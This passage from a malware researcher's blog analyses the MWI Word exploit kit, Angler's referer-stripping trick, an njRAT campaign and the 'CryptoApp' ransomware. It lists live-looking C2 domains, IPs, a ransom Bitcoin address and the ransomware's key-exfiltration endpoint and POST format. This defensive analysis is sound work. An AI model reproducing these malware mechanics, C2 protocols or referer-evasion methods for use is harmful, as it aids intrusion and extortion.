Poland
Canada
Singapore

Keep in mind these numbers are incomplete; there are most likely a lot more websites.

CERT-Bund has been sharing the full list of currently known domains with other CERT teams. If you are a CERT and haven’t received the list contact CERT-Bund or email me, GPG ID: 0x7e6d96d628493171.

Exploit kit domains

The domains that have been seen are all hosted under dynamic DNS providers and have all been set to a short TTL. Just a small grab from a collection of the domains seen for the past week(s):

ajhdiw.myftp.org
cbqmks.serveftp.com
cwzckyfe.servepics.com
duuckxhde.hopto.org
eebdfytqq.serveftp.com
eijswjbae.serveftp.com
flafyvq.hopto.org
gioiydaepp.myftp.biz
gnbhikop.myftp.org
gztypcyb.serveftp.com
hvrwdrwez.myftp.biz
ivelllujs.hopto.org
kcwike.hopto.org
ktalkrsjj.servepics.com
lvfyhxwxca.hopto.org
mufdhpr.servepics.com
nnzqxwac.hopto.org
ofazutd.serveftp.com
ofysfi.servepics.com
pmotjyshe.myftp.org

Mitigation & Prevention

In order to clean up a website affected by this a few steps have to be taken. However, the best thing to do here is to rebuild the site from a clean WordPress installation of course (keeping in mind to not install the same vulnerable plugin a second time of course).

Mitigation:

Because the attacker adds an extra administrator account it is best to assume all credentials are compromised. Remove all accounts and create a brand new one without re-using any of the old username/password combinations.

Check all PHP files for modifications by comparing them to files from the official WordPress website (or own local copies if you are 100% sure they are unaffected). Any modified files should be replaced with the normal one.

Update the RevSlider plugin to the latest version. One thing to keep in mind is that certain versions of RevSlider that were embedded with WordPress themes cannot automatically update. Fix the vulnerable RevSlider plugin in these themes by installing this patch: Patch for Revolution Slider. Envato released a list of possible affected themes: List of Potentially Affected Themes

Prevention

You are running a public website with a CMS that will have problems from time to time. Best is to keep up with the security updates in both the CMS platform as for the plugins, this should reduce the risk somewhat.

Another option is to run a static build from your WordPress website instead of a live (possibly vulnerable) one. There is a plugin that can do this: Really Static

You could also ask yourself if you really need a dynamic website. If you update content constantly you do but if you only update your website every few months consider a static webpage it saves you a lot of trouble.

Edit27-5-2015: I added a download link to the memory dump of the machine I used in this article for others to learn from and play around with volatility.

On April 1st FireEye released a report on “MWI” and “MWISTAT” which is a sort of exploit kit for Word Documents if you will: A New Word Document Exploit Kit

In the article FireEye goes over MWI which is the short for “Microsoft Word Intruder’ coded by an actor going by the handle ’Objekt’. MWI is a ‘kit’ for people to use for spreading malware. It can generate malicious word document exploiting any of the following CVE’s:

CVE-2010-3333
CVE-2012-0158
CVE-2013-3906
CVE-2014-1761

The builder, named MWI, generates these documents which call back to a server to download malicious payloads. Together with the MWI builder the author has also released MWISTAT; a statistics backend and optional downloader component for MWI documents to track campaigns and spread of the documents.

In this article my analysis focusses on the following sample: OZLA155_C0E6C24A_X234_investigate.doc (MD5: c0f7fd333131ceca4292419e207f83fc) VirusTotal& Malwr (Downloadable).

If you would like to do the same analysis just grab the sample from Malwr which has been made downloadable. More downloable samples have been listed at the end of this blog entry; check out those if you want to do some more MWI sample analysis.

Analyzing an MWI generated document

I will start my analysis by looking at VirusTotal, looking at the hits we are told it is CVE2012-0158, CVE-2012-2539, CVE-2013-3906 and CVE-2014-1761. Besides a mismatch on the list presented by FireEye it looks like we have a multi-exploit document. Another security researcher named @ropchain responded to a tweet I send about the multi-CVE identifier from VT with a good clue:

It seems embedding multiple vulnerabilities for RTF’s is possible. Let’s open the document and see what kind of document we are dealing with (OLE or RTF), opening up the document shows the following first line:

RTF it is, the brackets { and } define a group in the RTF file format, these groups can be nested within each other. A backslash \ is followed by a so called ’control code’, in our case the document starts with a group indicator bracket and the RTF control code ’\rtf’. This control code indicates the start of an RTF file, the number behind it indicates the specification this RTF file will follow.

Now that we know we have an RTF document we can start working out how it performs communication and loads the malicious payload on the affected machine.

MWISTAT communication

The MWI samples communicate to a backend called MWISTAT. This backend makes statistics of those who open the malicious documents as well as give the required payload based on a certain identifier when an exploit is succesful.

The statistics check-in looks like this in Wireshark:

The server responds with a 1x1 white JPEG image. Nothing interesting happens from this for the rest.
The second step after doing the statistic check-in and succesfully exploiting the user’s Microsoft Word installation is downloading a payload. This request looks similar only an extra GET parameter is added named ’&act=1’. The server responds to this request (if it is correct in terms of identifier) with a plain Windows PE, no encryption is used anywhere here as seen in Wireshark:

MWISTAT communication: Statistics check-in

Time to find the origin of both of these requests; first we will go after the statistics check-in which is quite easy to find. Simply hitting CTRL-F for the URL in the RTF file shows the following:

Based on the control code names we can guess what happens here, a remote picture is loaded into a picture field. This is standard behaviour and documented on a lot of places (except for Microsoft official ones, I couldn’t find any). However, all documentation specifies that local paths can be used not URLs as seen here; but it works anyway.
The fact that this include method is standard behaviour does mean that this check-in will always happen, you don’t have to be running a vulnerable version of Word. It means the bad guys are getting some proper stats on who opens their payloads with what version of office. Would a new vulnerability for Word hit the web they could quickly check if its 'worth it’ to implement based on the amount of hits for that specific (newly) exploitable version of Office/Word.
The User-Agent tag for Microsoft Word is Microsoft Office-wide determined. The following is a list of the Office versions with their User-Agent tag:

Microsoft Office 2007: ’MSOffice 12’
Microsoft Office 2010: ’MSOffice 14’
Microsoft Office 2013: ’MSOffice 15’

From the user-agent in the PCAP we can see that my virtual machine was running Microsoft Office 2007; quite vulnerable as it was unpatched.
Now the fact that they would have a lot of hits for a specific version of Office doesn’t always mean it is vulnerable; people can still apply pathes of course.

MWISTAT communication: Payload retrieval

Now we need to find the actual payload retrieval request. The problem here is that it will not be present just plain in the RTF, its done after Word is exploited in some way; this is also the reason why the 'MSOffice’ User-Agent tag is missing as it is not Word itself downloading the payload but the attacker’s shellcode.
I decided to not analyze the whole exploit chain in the document, there is evidence of multiple exploits. The easiest one would you want to follow one is CVE-2015-1761 located all the way at the bottom of the file, you can follow a writeup by McAfee running through it:[A Close Look at RTF Zero-Day Attack CVE-2014-1761 Shows Sophistication of Attackers]
I waited for the document to exploit the vulnerable Office installation in the virtual machine, when the screen looked like this I made a memorydump:
The memorydump was made with MoonSol’s DumpIt tool, you can get it here: [MoonSols DumpIt goes mainstream] the download link is at the bottom.

You can download the memorydump I analyzed in this blog entry here: MWI_exploited_machine.dmp

After making the dump the first step is to check if there is any injected code in Word specifically as this is what is being exploited. For this I use Volatility which is a Python based memory forensics analysis tookit. I grabbed the dump and ran the following volatility command ’vol.py -f MWI_exploited_machine.dmp –profile=Win7SP1x86 -D ./ malfind’; the ’malfind’ argument makes volatility check for any injected code in the with the with ’-f’ flag specified memory dump and mapping the memory for a Windows 7 Service Pack 1 32bit machine in order to read it (specified with the ’–profile’ flag). The -D flag specifies where to dump any injected code it finds which I set to the current working directory. The output shows some interesting hits, injected code in ’WINWORD.exe’ which is the Microsoft Word process:

Time to find our C2 download request. The C2 payload retrieval structure is the same as for the stats check-in, so simply running a grep for a section of the URL in the dumped code pinpoints the dump we want: grep -nHa image.php process.0x*.0x*.dmp:
With orange underlining we see the specific dumped injected code filename; red underlined is the C2 request URL for the payload and the green line seems to indicate a filepath most likely for the payload when downloaded to disk. We now know the specific dump containing the request to the C2, this dump also shows something else that is quite interesting to know; the filepath where the downloaded payload goes which is ’C:\Users\user1\AppData\Local\Temp..\ntxobj.exe’ in this case. If you load the dump in IDA you can also see some artifacts from some import resolving shellcode to grab imports from kernel32 it seems:
We can also spot the payload URL in IDA as we did in the raw dump of course:
And there we go, we found the payload download as well as (with some luck) the payload location on the affected machine without diving into the exploit itself.
On the C2 my infected VM also shows up with the 'OPEN’ state which is the term used to describe the statistics check-in and the 'LOAD’ state which is the payload retrieval state:

While the concept of MWI is simple it seems to work quite well. Sadly I cannot say much about the popularity of the MWI kit as I don’t know all the customers from Objekt using it. All I can say is that since December last year some samples having been appearing more and more often.

Detecting MWI

Detecting MWI payloads is quite easy, both on network and filesystem level. For filesystem level I’ve created a YARA rule which flags the statistics check-in RTF tags:

For detection on network level the company I work for (Fox-IT) has released Snort IDS rules: [fox-srt / fox-srt-mwi.rules] Snort coverage for Microsoft Word Intruder

MWI Samples

The following is a list of samples I used while researching MWI. The samples listed here come with a link to Malwr containing a downloadable sample. The sample listed at the top is the sample used in this article for analysis also listed at the top.

’OZLA155_C0E6C24A_X234_investigate.doc’ (MD5: c0f7fd333131ceca4292419e207f83fc) [VirusTotal][Malwr (downloadble)]
’Propozuciya.doc’ (MD5: 9990bb1877b32eba996e66feb61d04b2) [VirusTotal][Malwr (downloadble)]
’Refund form.doc’ (MD5: 0ca4f33beb004d1be9485040797bed27) [VirusTotal][Malwr (downloadble)]
’Proforma Inv.doc’ (MD5: 4719209982b272a06ac511119b9aa958) [VirusTotal][Malwr (downloadble)]
’Information.doc’ (MD5: 82af90c3854014f96fb53b1eedc2031d) [VirusTotal][Malwr (downloadble)]
’voucher.doc’ (MD5: bb6cf9f84933839e963f6ad249fa6d01) [VirusTotal][Malwr (downloadble)]
’exploit.doc’ (MD5: 662ebfa5e7f5f46a0ab2b4d71eab82a3) [VirusTotal][Malwr (downloadble)]
’details.doc’ (MD5: 453f48485edd90d1ab2a3063682931d6) [VirusTotal][Malwr (downloadble)]
’details.doc’ (MD5: e215dd49ee49ecfe40ada964d23c8462) [VirusTotal][Malwr (downloadble)]

For some time I’ve been seeing the Angler exploit kit pop up and infect clients without through malvertising campaigns without having a referer when visitng the landing page. The reason why this is interesting is that it makes it a lot harder to track down the malicious creative IDs which can be disabled by the advertisement operator. This is key in trying to fight active malvertising campaigns. In this short article I’ll go through the current setup the Angler exploit kit uses to avoid the referer chain by losing it in a 2 step system.

Initial infection chain for Angler

Angler is currently using a method that allows them to break the referer chain. Breaking this chain makes it hard to track down the malicious advertisement associated with them. As an example here is a malvertising case involving Angler, the advertiser was about 5 layers down in the chain. The following screenshot is from the Fiddler sesion:
In the image I have commented all the requests with their purpose; this was done after analyzing the chain.

We see an advertiser ‘hrd-marketing[.]com’ being used and a JavaScript file being requested. A bit after the advertiser related request(s) there is a post to an odd looking HTML file:

This POST request does not contain any referer. In the response of the server we see a meta refresh snippet in a fake 404 page. There is a 200 OK response but a piece of text saying 'Page not found’ in the body. If we look for this specific URL in the rest of the Fiddler session we a request going towards it:

Interestingly again no referer, it seems the Angler guys are pulling some tricks to break the referer chain, lets have a look.

Analysis

If you look at the actual referers you find there are none on either the redirector or landing. Let’s first look at the advertiser, for this I already took the trouble to filter out the others and pinpointed this one serving the Angler redirect. The reason I did this was to spare 2/3 of a blog about tracking this one down in the insane amount of advertiser chains this one appeared in. For those wondering, the initial site was an adult content website for videos.
Lets start at the advertiser JavaScript, the advertiser gives the following blob back of which the second part (after the newline) is of interest to us. The top part is the real advertisement:
If we take it out and beautify it a bit we get the following:

The script is heavily obfuscated, especially the part of the target URL for the POST request. If you clean it up you end up with this (note: I removed the target URL from the pastebin post to not get it flagged):

So how does their trick work? its actually quite simple but a bug in modern web browser in my opinion.
On the page it first adds a new DIV. Inside this DIV it puts an iframe which does not have a 'src’ attribute meaning it is not loading anything from a remote site. However most browsers see the context/body of the iframe (and normally the page it loads based on the 'src’ attribute) as a seperate page with its own context; this is pretty much how the Angler referer-less request(s) trick works. In the next step they generate a form with a hidden input (with some unique tokens, not sure what they do but they might mean something for them on their backend). This form is put in the body of the iframe context after which they submit the form. When they submit the form they are sending it from within the iframe context which does not have an actual page loaded which causes the request coming from it to not have a referer; quite a nasty trick.
The small piece of script I created can be used to request pages without referers in the latest versions of Chrome, Firefox and Internet Explorer as of the 7th of May 2015. See it as a POC.

The next step is why is the landing being requests without a referer. Here’s how the landing page request looks in Wireshark:
This one is slightly harder to explain and I don’t have 100% certainty but I assume this is how browsers are processing it:
When a browser performs a POST request as seen here the response is (in most cases) some external resource being loaded in the page. In the case of the redirector we see the response is HTML which contains a meta refresh tag which changed the page location to the specified URL. My guess is that the browser follows the refresh but due to a bug doesn’t follow it with a referer. The thing is however, I only got a POC of this to work on Internet Explorer but could not reproduce it on Chrome or Firefox.
And there we go, two tricks (of which one works on all browsers) to lose referers and frustrate automated systems and researchers like me. It is interesting knowing the Angler history that they come up with these kind of tricks; it certainly helps their malvertising campaign lifetime.

Following the RFC

If we look at the RFC it actually specifies that unless a user manually enters a URL it should always make a referer chain except when coming from an SSL connection:

The Referer[sic] request-header field allows the client to specify, for the server’s benefit, the address (URI) of the resource from which the Request-URI was obtained (the “referrer”, although the header field is misspelled.) The Referer request-header allows a server to generate lists of back-links to resources for interest, logging, optimized caching, etc. It also allows obsolete or mistyped links to be traced for maintenance. The Referer field MUST NOT be sent if the Request-URI was obtained from a source that does not have its own URI, such as input from the user keyboard.

You can read it here: http://tools.ietf.org/html/rfc2616#section-14.36
Following the RFC it would appear this referer trick is actually a bug in the browsers. In a discussion on this subject with the Google Chrome developers (read it [here] they linked me to the following RFC: W3C Referrer Policy in which the concept of ’Nested Browsing Contexts’ is described:

Certain elements (for example, iframe elements) can instantiate further browsing contexts. These are called nested browsing contexts. If a browsing context P has a Document D with an element E that nests another browsing context C inside it, then C is said to be nested through D, and E is said to be the browsing context container of C. If the browsing context container element E is in the Document D, then P is said to be the parent browsing context of C and C is said to be a child browsing context of P. Otherwise, the nested browsing context C has no parent browsing context.
A browsing context A is said to be an ancestor of a browsing context B if there exists a browsing context A’ that is a child browsing context of A and that is itself an ancestor of B, or if the browsing context A is the parent browsing context of B.

You can interpret the above text as follows:

You have a website in which you embed an iframe pointing to an HTTP website, call this iframe’d website example-iframe.com
From your initial website you embed a form in the body context of the iframe so in the example-iframe.com website context.
You submit this form which will happen inside the context of example-iframe.com

What you would expect is:

The iframe towards example-iframe.com will have your initial website in its referer
The form submitted from example-iframe.com will have example-iframe.com in its referer

The fact that an iframe without a “src” attribute doesn’t have any website context is understandable, especially from a programmer side of view. The issue here is that I’d expect a src-less iframe to be a sort of 'local’ frame (as it doesn’t load external content). Any request coming from it would have the initial website creating the src-less iframe as the 'parent’ and thus the referer.

I’m currently awaiting a reply from the developers, the same bug is also present in Firefox and Internet Explorer. I feel a small rewrite on this special case is in order; it currently works as intended but not as expected.

While investigating an unrelated threat I ran into a rather interesting njRat campaign.

It started with a website that was compromised and being abused as a 3rd layer C2 communication proxy. It seems those guys weren’t the only ones using it.
When visiting the websites’ main page I was greeted with an alert pop-up:
Looking at the page title and message content I was expecting some kind of fake support or fake antivirus page; I was correct (for this part):
Waiting the result of the scan I was prompted by the usual ‘you need help click here’ messages:
When clicking one of the buttons (or the X close button, basically anything on the page) your browser was presented with a download of ‘Antivirus 2015’:

Analysis

When running the 'Antivirus 2015’ payload the user is presented with a popup:
The message (although in broken english) tells us we’re clear of any infections. If we check the startup entries via msconfig we can see something new was added running from our %temp% directory:
We can see its there to stay, implementing persistance using startup keys a (very) old trick.
While you might think the popup is due to the virtual machine setup or debugger being detected it actually isn’t. The 'Antivirus 2015’ payload is in fact a stage 1 dropper of something more interesting, the payload in the %temp% directory is a stage2 dropper with embedded stage 3.
If you throw the 'Antivirus 2015’, stage 1, payload in a decompiler you will see its a small obfuscated loader written in C#. Its most important function shown here:
The 'main’ function of this loader does the following:

Display the popup with the message
Make sure the application (and its icon) aren’t shown in the taskbar
Decode a string of text (under Label_004D) which contains a link to a pastebin post
Download whatever is at this pastebin link
Use the content of the pastebin post as another URL and download data from it
The data obtained from the link inside the pastebin post is written to ’%temp%/notepad.exe’
Execute the ’%temp%/notepad.exe’ payload

The content of the pastebin post is a link to a file on ge.tt which is another PE file:
This payload is stage 2 of our infection and seems to be another loader in fact. If you decompile this one you will find its another C# written loader with similar 'obfuscation’ techniques for the main program flow:
The thing is that instead of downloading another payload it in fact has an embedded Windows PE. The flow of this loader is:

Hide itself from the taskbar
Reverse and base64 decode an embedded text string (The expression variable under Label_003C starting with a lot of A’s)
Take this buffer and feed it to a function called ’ss’

The ’ss’ function is a classic way of executing a PE file from within C# code:
If we take out the 3rd layer of this attack (the embedded PE inside stage 2) we find its another C# application. This time it doesn’t hold anything like we’ve seen with the other loaders, its actually a (semi) large program with lots of functionality. Its structure and implemented functions made me think of a RAT. After running it in a sandbox with inetsim enabled to catch DNS requests and send them to a fake server I had a positive hit for njRAT. The traffic showed the classic njRAT checkin pattern:
We can even confirm it by using the config decoder made by Kevin, you can get it here: RATDecoders / njRat.py
The output from the tool tells us enough, its njRAT for sure:
We can triple confirm it if we grab the startup entries we saw earlier and compare them to the configuration:

C2 origin

From the config we can see the C2 DNS it will resolve is ’supportoffice.likescandy.com’. This currently resolves to 188.55.84.43 which is an IP located in the consumer ADSL range in Saudi Arabia:
If we follow this C2 domain we can find a related sample on VirusTotal from 2014-10-15, a bit more than 7 months ago jpck22sj.exe. It connects to the following two C2 domains:

supportoffice.likescandy.com (188.51.198.199)
svchost.homelinux.com (188.51.198.199)

This IP is also located in a Saudi Arabia consumer ADSL IP pool:
If we follow this rabit hole further down we find another sample submitted a week after the previous one on 2014-10-22 By Hat_Mast3r.exe. With this sample the IPs had already been changed, ’supportoffice.likescandy.com’ was pointing to an IP in Iraq 37.238.165.11:
While ’svchost.homelinux.com’, a secondary backup domain, pointed to again an IP in a Saudi Arabia consumer IP pool:

Conclusion

This campaign seems to be old but still running (although my infection wasn’t being manually controlled at the time). The first sample found was submitted 7 months ago.
The operation seems to originate from Saudi Arabia mostly; seeing its C2 IP is a home IP address and njRat does not support proxying C2 communciations over infectees. It means this was most likely the actual operator. I have no clue on the exact targets; the website I found was a Dutch website for a hobby group not a really high-ranked target. The spreading method of a fake antivirus website was also quite confusing, normally I see these things dropping FakeAV’s as I’ve written on in the past.

Overal an unusual but interesting campaign to keep an eye on, at least I will ;)

IOCs and Samples

I’ve gathered the following DNS entries being resolved related to infections of this campaign:

supportoffice.likescandy.com
svchost.homelinux.com

The following IP addresses were seen as being used for C2 communication:

37.238.165.11
90.148.243.180
188.51.198.199
188.55.84.43

I’ve gathered the following samples:

Stage 1 downloaded from the fake antivirus warning website: f67369ff8f2e78a09f5fe80a4ca58dadfda766a24775afcf0c793b47ca124cba
Stage 2 downloaded via the stage 1 loader: 80e364d140162049f05cbb5bed17ad7348d2f9aff37d2281f83706c4af66be09
Encoded stage 3 (not present on disc due to it being embedded) eac07d10a5cc52c26b72bb43f2ffa30e6e8da7c2bb18c0786d756755ec99e832
Related sample from 7 months agoc50d60fced994896e0b2ad11cac798f9d10db4019fa08c977a2cf4042e6ab798

Ransomware sure has had an uptick the past years; more and more variants appear while some have been leading the pack for the past years. This article is on a new ‘strain’, it dates to March this year from what I can tell. I haven’t seen any write-up or info about it yet (nor had any major incidents at $dayjob or heard of it from any other analysts). From what I can tell its still under development, this article will tell the story of this ransomware.

Discovery

I was going through some Tor hidden service addresses (onion addresses) I obtained by scraping. Normally there are a lot of markets and random 'hacker-for-hire’ sites but this one stood out. Its address (as of writing this article) is:

guhvuoz7am24b5mv.onion

Note: The service did go down at the start of August. It could be that the 'project’ was stopped or that the other simply moved to a new C2 to start his operation; with the old one being a test setup.

When visiting the hidden service I was greeted with the following:

This message looked like the kind seen with Ransomware like CryptoWall etc. It got my attention because it talks about files being cripted with RSA-2048 which is really similar to the CryptoWall message. After payment of the ransom files would be restored. Scrolling down we get section 2:

This section says there are no ways to decrypt the file without the original key (makes sense if you use RSA on 2048). It also notes using any other tools than theirs would only make it worse. After this message we find section 3:

This section talks about the ransom that needs to be paid, 1 Bitcoin. Examples are given where Bitcoins can be bought and the address the Bitcoin needs to be transfered to: 1AbwLtv7JTtbLmj8LrGq7TzCdkD4ZNET5C. There is also a link to a download of the decrypter which (with bold emphasis) only works after the ransom payment is made.

Below section 3 there is a small section about how Antivirus products might detect the decrypter and cause decryption issues:

All of this gives a good indication there’s some (new) kind of ransomware ongoing which at least I haven’t seen before. Its time to find a sample to combine with this.

One thing that is interesting is that there was no need for a 'payment id’ as you normally see with CryptoWall, CTB or TorrentLocker infections. The machine gets a unique ID and this is used to track the payments of ransom. On this C2 (if we can call it that) everyone pays towards the same Bitcoin address, its just a static page.

Analysis of the malware itself

Finding a sample was actually quite easy, it was uploaded to Malwr.com in May this year: [csrsss.exe].
The reason I was able to find it was due to the fact that the Bitcoin address was in the binary itself (as a text string):

If you look at the rest of the text it actually matches the matches on the C2 but we’ll look at that later. Lets grab the sample and just look at some of the info in the PE file.

One thing that immediately jumps out is that this thing is written in C++ with lots of inheritance (base classes), a lot of vftable lookups make a bit painful to look at in OllyDBG.
Another thing jumping out is the bulid timestamp; it seems to be the same date as the Malwr.com submission (of course this can be faked):

What is more interesting are the resources in the PE, it seems it hasn’t been packed in any way and the resources are available plain:

There’s 2 that sort of jump out, 'BIN’ and 'HTML’, BIN actually contains two PE’s:

The HTML resource (which matched the Bitcoin address we searched for) is in fact a ransom message that is dropped on the victim’s PC:

There are also a ton of dialogs in the PE, some of which look like a ransomware pop-up normally seen with this type of malware:

The last one looks like a classic ransomware pop-up you would/could see after being hit by it.
When going through the payloads I also noticed every bin had its linker information (with PDB path) in tact which gave me the following PDB paths:

C:\Users\windows\Desktop\CryptoApp\build\bin\Release\CryptoApp.pdb
C:\Users\windows\Desktop\CryptoApp\build\bin\Release\KeepAlive.pdb
C:\Users\windows\Desktop\CryptoApp\build\bin\Release\SelfDestroy.pdb

These PDB paths are the reason I’ve called it the 'CryptoApp’ ransomware of course.

Startup & Persistence

The main 'CryptoApp.pdb’ comes from the intiail sample grabbed from Malwr, the other two come from the two embedded PE’s. Their function is pretty much what they have been named.
'KeepAlive’ creates startup keys for windows (although it doesn’t even bother copying the payload anywhere, just from the directory it was ran from):

What is interesting to note is the 'CryptoAppDelay’ key is constantly updated, it keeps going up every refresh. Lets look up the part of the code that is responsible for this, we find it here:

This part can be split up in three sections (marked with red blocks), the first section checks for the presence of the 'CryptoAppForcedEnded’ key to be present (indicated with the green lines). If this key is not present it moves onto the next section in which it spawns a thread, waits for it to finish. After the thread is finished the code continues into section 3 where it changes the value of the 'CryptoAppDelay’ key.
While this part is not super interesting the newly created thread is, its a sort of watchdog. The idea behind this thread is that it waits for the 'delay’ to reach a certain number after which it will execute the rest of the code. The thread code looks like this:

First it obtains a handle for the SOFTWARE\Microsoft\Windows\CurrentVersion\Run key to be able to query values under it (the 'CryptoAppDelay’ value that is). After that it sets up some variables and jumps into a loop (indicated with the green box). The loop is where 'the magic happens’; it checks the value of 'CryptoAppDelay’ and compares it to a number while the assembly isn’t super clear to read it basically does the following:

Take the value of the 'CryptoAppDelay’ key, divide by 1000 and compare if its surpased 86400

The reason for this is as follows, if it doesn’t hit this number the 'CryptoAppDelay’ value is set to the value returned from 'CurrenTickCount()’ which is a Windows function that returns the amount of milliseconds that have passed since the machine booted. Dividing that by 1000 gets you the seconds, 86400 is in fact 24 hours; the ransomware waits untill the machine has been on for 24 hours before doing anything.

Whenever the ransomware runs it spawns the embedded PEs which are used for things like persistence. An example is 'keepalive’ which you will find running when you get infected:

Here the 'keepalive.exe’ is dumped in the Temp directory (marked by the green box) and the actual ransomware process 'csrss.exe’ still sleeping waiting for the uptime to hit 24 hours (marked by the red box). Trying to kill the ransomware process doesn’t do much, its beeing kept alive by the keepalive payload, lets see how that works. Looking at the arguments given to the keepalive PE we can get a good idea already of how it works:

It is given an image path (of the ransomware itself) and the PID of the currently running ransomware process. Looking at the disassembly from the 'keepalive.exe’ PE we find the arguments are indeed used to 'protect’ the main ransomware process. The way its 'preventing’ the main ransomware from being stopped is that it just starts it over and over again. It works like this:

Get a handle for the process to watch
Call the Windows function WaitForMulipleObjects and halt on the process handle
When it returns (and its related to quitting) restart the ransomware process and shutdown self (keepalive just exits after restarting the ransomware’s main program)
Ransomware process starts a new keepalive which starts the same thing again (watchdog thread)

The ransomware process itself can be restarted, its just counting the system uptime (with the registry keys described before).

File encryption

The ransomware will encrypt files with the following file extensions, 162 file extensions in total:

.3fr .3gp .7z .accdb .ai .arc .arw .avi .bad .bay .bmp .cam .cdr .cer .cineon .cr2 .crt .crw .csv .ctl .dat .db .dbf .dcr .der .des .dicom .dng .doc .docm .docx .dsc .dwg .dxf .dxg .eps .erf .fla .flv .fmb .fmt .fmx .gif .hdr .html .iif .img .indd .jpe .jpeg .jpg .kdc .log .lst .m4v .mdb .mdf .mef .mov .mpeg .mrw .nd .nef .nrw .odb .odm .odp .ods .odt .openexr .ora .orf .p12 .p7b .p7c .pbm .pck .pdd .pdf .pef .pem .pfx .pgm .pic .pkb .pks .plb .pls .png .pot .ppm .pps .ppt .pptm .pptx .prn .psb .psd .pst .ptx .qba.tlg .qbm .qbr .qbw .qbw.tlg .qbx .qby .qfx .r3d .raf .rar .raw .rdf .rdo .rep .rex .rtf .rw2 .rwl .sql .srf .srw .sti .sxi .tiff .txt .vdi .wb2 .wpd .wps .xbm .xlk .xls .xlsb .xlsm .xlsx .xml .yaml .zip .php .css .asp .cpp .c .js .pl .perl .swf .aspx .potx .potm .ppam .ppsx .ppsm .sldx .sldm .thmx .xlam .xltm .dotm .dotx

Most of the filetypes here aren’t that surprising, image format, text document formats, presentation formats. The ones that I do find interesting are file extensions for files related to accounting, specifically to the QuickBooks accounting software (.qba .tlg .qbm .qbr .qbw .qbw .tlg .qbx .qby .qfx) to target companies. To find files it attempts to access all available logical drives, it uses a call to [GetLogicalDrives()] to map with the following list of drive letters (basically every possible driver letter, the whole alphabet):

A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:

To keep track of the files it encrypted the ransomware stores this information in a sqlite database on disc.

The ransomware makes use of the Microsoft CryptoAPI, specifically it uses the RSA crypto provider:
After setting up the Crypto provider and generating a private/public key pair it starts going through the files, the method it follows for encryption is the ’Hybrid cryptosystem’. In this system you don’t encrypt the files using the private key but you create symmetric keys (I call them 'file’ keys below) for data encryption. These keys are encrypted using the private key after use. This means decryption of the file needs the private key to get the 'file’ key decrypted which in turn can decrypt the file data.
It searches for them based on the available logic drives shown above matching files based on the described file extensions. When a file is 'valid’ for encryption it will start encryption which works as follows:

It will grab the full filename and append .encrypted to it as the new file extension
A 'file’ key (MSDN will refer to it as s session key) is generated by calling [CryptGenKey()] using the previously initialized Cryptographic provider and using PROV_RSA_FULL
A file handle is openend to the newly created filename (the .encrypted one)
4 bytes are written into the open file (an int) with the 'magic value’ of 0x2200AF which is a kind of marker/tag for the encrypted files
After the 4 bytes an export of the 'file’ key (key used to encrypt/decrypt the file data, encrypted of course, can be decrypted by using the private key from the pub/priv key part in use) is written using [CryptExportKey()] with the SIMPLEBLOB blob type for export
After writing the 'file’ key to the file the original (unencrypted) file is being read, encrypted and appended to the .encrypted file
After the file is encrypted on disc it is inserted into the SQLite database on disc (used to list the user his/her encrypted files as well as for the decrypter to find the files again)
After successfuly inserting the encrypted file into the SQLite database it is removed from disc by calling the [DeleteFile()] function.

The private / public key pair it send to the C2 server as well, see the 'C2 communciation’ section below for details on this.
As a sidenote; throughout the encryption process the ransomware keeps states in registry indicating its current state of encrypting, how many files, etc.

The Decrypter

On the website there’s a link to the Decrypter which is quite interesting. Besides it being a 'decrypter’ for any infection from the original malware it is actually both. The decrypter is in fact a slightly modified version of the main malware itself.
It does however show something interesting, the sample I managed to grab from Malwr.com is an outdated version of the ransomware. Besides some clean-up and slightly changed functions it also has some added functions. One of these functions is the one to display this image:
It is dropped in the temp directory as 'wlp.jpg’ and set as a system background; we can see this behaviour in the disassembly:
Besides the lock message there is also a new dialog in the decrypter (together with the one from the ransomware itself) for the decryption process:
The dropped ransome messages in the form of a HTML page we saw in the previous sample has also been updated. It now includes the links to the Tor hidden service also seen on the red image:
This all gives the indication the samples I grabbed from Malwr.com is rather old.
The decrypter itself checks against the Blockchain.info website to see if the user did pay. We can see clear usage of it in the decrypter’s dissasembly:
It parses transaction counts and matches up the Bitcoin address from blockchain.info as well, the transaction parsing as an example:
The way payments are confirmed works as follows:

The user pays the set amount of Bitcoins to the specified Bitcoin address 1AbwLtv7JTtbLmj8LrGq7TzCdkD4ZNET5C
The user pastes his own Bitcoin address in the payment form of the Ransomware
The decrypter checks if this Bitcoin address made a payment to the specified Bitcoin address after the infection date (this is stored in the registry as well) to confirm the payment being related to the infection.
If the user paid it will talk to the C2 to obtain key information

The Bitcoin address listed on the site for payment ’1AbwLtv7JTtbLmj8LrGq7TzCdkD4ZNET5C’ has only had one payment ever on the 15th of May for 1 Bitcoin; the exact ransom demand. The payment was send only 2 days after the first development version of the ransomware was uploaded to Malwr.com which makes it look like a test for the Decrypter part of the ransomware.

File decryption

When the decrypter has confirmed that the user has paid the required ransom amount the private key is obtained from the C2 server (how this is done is explained in the C2 communciation section below). With this private key it will go through the steps of decrypting the user’s files:

Find the local SQLite database which lists all the encrypted files
It will grab the file and change its file extension from .encrypted to .encrypted.decrypted
It will confirm the first 4 bytes of the file having the magic marker / tag of 0x2200AF, if it doesn’t it will ignore the file
It will grab the next section from the file which contains the 'file’ or 'session’ key
Using this key and the private key it will start decrypting the file
This process continues for every file until they have all been decrypted.

C2 Communication

While the hidden service shows the 'scary’ message about the needed ransom payment there is no C2 communication traffic to this host. The real communication goes towards a host outside of Tor. Interestingly this host went down the same time the hidden service went down which could indicate them being hosted on the same system; although I have no proof for this of course.
The communication for the ransomware itself is HTTP only towards a centralized C2 server while the decrypter has communication towards both the centralized C2 server over HTTP as well as SSL traffic towards blockchain.info.

Ransomware C2 communciation

The ransomware itself communicates towards a static domain: cryptorepairsystems.com (at the time pointing to a host in Bosnia and Herzegovina at 80.242.123.197) on plain HTTP. There are two communication paths:

cryptorepairsystems.com/ksubmit.php - Used to send the key used for file encryption to
cryptorepairsystems.com/kretrieve.php - Used by the decrypter to retrieve the crypto key from to decrypt the encrypted files

The communication to /ksubmit.php is simple HTTP POST communication. A specific header is hardcoded for this communication: “Content-Type: application/x-www-form-urlencoded” which enforces the server to inspect it as urlencoded form data. The form data has the following format:

bitcoin_address=%s&empid=%s&comp=%s&ipv4=%s&blkk=%s&publ=%s&priv=%s

The specific parameters are:

bitcoin_address - Payment address for the ransom
empid - Unique ID for the system
